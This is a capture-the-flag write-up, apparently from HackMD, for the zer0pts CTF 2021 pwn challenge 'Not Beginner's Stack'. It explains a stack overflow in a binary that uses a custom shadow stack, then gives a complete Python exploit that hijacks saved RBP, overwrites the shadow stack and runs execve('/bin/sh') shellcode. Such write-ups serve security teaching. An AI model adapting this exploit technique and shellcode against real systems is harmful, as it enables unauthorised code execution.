Try   HackMD

Not Beginner's Stack - zer0pts CTF 2021

tags: zer0pts CTF 2021 pwn

Challenge Overview

We're given a 64-bit ELF and its source code.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   24 Symbols     No       0               1       chall

The vulnerability is a simple stack buffer overflow.

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

However, the stack works in a special way.

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

The return address is saved in the bss section and we can't overwrite it simply by the overflow.

Solution

What we abuse is the saved RBP.
After vuln function ends, RBP is used for calculating the address of buf.

;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

We can modify the address as we change the value of RBP.
Controlling the RBP, we can write to wherever place by the next read call. Since PIE is disabled, we can overwrite the shadow stack to control RIP.

NX is also disabled, which enables us to jump to the shellcode directly.

Exploit

from ptrlib import * elf = ELF("../distfiles/chall") sock = Socket("pwn.ctf.zer0pts.com", 9011) # overwrite saved rbp payload = b"A" * 0x100 payload += p64(elf.symbol("__stack_shadow") + 0x100) sock.sendafter("Data: ", payload) # overwrite shadow stack payload = p64(elf.symbol("__stack_shadow") + 0x80) * (0x80 // 8) payload += nasm(""" shellcode: call arg1 db '/bin/sh', 0 arg1: xor edx, edx xor esi, esi pop rdi mov eax, 59 syscall """, bits=64) sock.sendafter("Data: ", payload) sock.interactive()